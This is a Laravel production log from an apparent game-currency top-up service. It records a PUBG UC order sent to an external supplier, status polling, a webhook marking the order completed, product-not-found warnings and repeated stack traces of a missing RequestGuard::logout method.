[2026-03-24 22:19:57] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=a27c89da-86f9-4cbb-85b4-dbc1eb6d8748&Player_ID=5667721871","has_body":false} 
[2026-03-24 22:19:58] production.INFO: Operation sent successfully {"operation_id":164333,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-kkPjvUg-1774379997","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 22:19:58"}},"processed_data":{"order_number":"ORD-kkPjvUg-1774379997","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 22:20:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"QGyxIjzUkbiqfhfl6gNSTFzlHgV29UyN","execution_time":"2026-03-24 22:20:01"} 
[2026-03-24 22:20:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"QGyxIjzUkbiqfhfl6gNSTFzlHgV29UyN","execution_time":"2026-03-24 22:20:01","total_operations":2,"sites_count":1} 
[2026-03-24 22:20:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"QGyxIjzUkbiqfhfl6gNSTFzlHgV29UyN","execution_time":"2026-03-24 22:20:01","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-wgI-1774379855","ORD-kkPjvUg-1774379997"]} 
[2026-03-24 22:20:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"QGyxIjzUkbiqfhfl6gNSTFzlHgV29UyN","execution_time":"2026-03-24 22:20:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 22:20:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"QGyxIjzUkbiqfhfl6gNSTFzlHgV29UyN","execution_time":"2026-03-24 22:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 22:20:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"QGyxIjzUkbiqfhfl6gNSTFzlHgV29UyN","execution_time":"2026-03-24 22:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-kkPjvUg-1774379997","operation_id":164333} 
[2026-03-24 22:20:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"QGyxIjzUkbiqfhfl6gNSTFzlHgV29UyN","execution_time":"2026-03-24 22:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:20:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"QGyxIjzUkbiqfhfl6gNSTFzlHgV29UyN","execution_time":"2026-03-24 22:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 22:20:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"QGyxIjzUkbiqfhfl6gNSTFzlHgV29UyN","execution_time":"2026-03-24 22:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"errors":0} 
[2026-03-24 22:20:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"QGyxIjzUkbiqfhfl6gNSTFzlHgV29UyN","execution_time":"2026-03-24 22:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:20:01] production.INFO: Executing GetProducts task...  
[2026-03-24 22:20:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 22:20:01] production.INFO: Executing GetProducts task...  
[2026-03-24 22:20:03] production.INFO: async() رجع: true  
[2026-03-24 22:20:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 22:20:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 22:20:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 22:20:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 22:20:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 22:20:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 22:20:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 22:20:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 22:20:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 22:20:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 22:20:05] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:20:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 22:20:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-kkPjvUg-1774379997","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 22:20:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-kkPjvUg-1774379997","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 22:20:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:20:05] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":179463} 
[2026-03-24 22:20:05] production.INFO: Order updated successfully. Order ID: 179463, Status: completed  
[2026-03-24 22:20:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-kkPjvUg-1774379997","status":"completed","codes_count":0} 
[2026-03-24 22:20:07] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:20:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 22:20:08] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
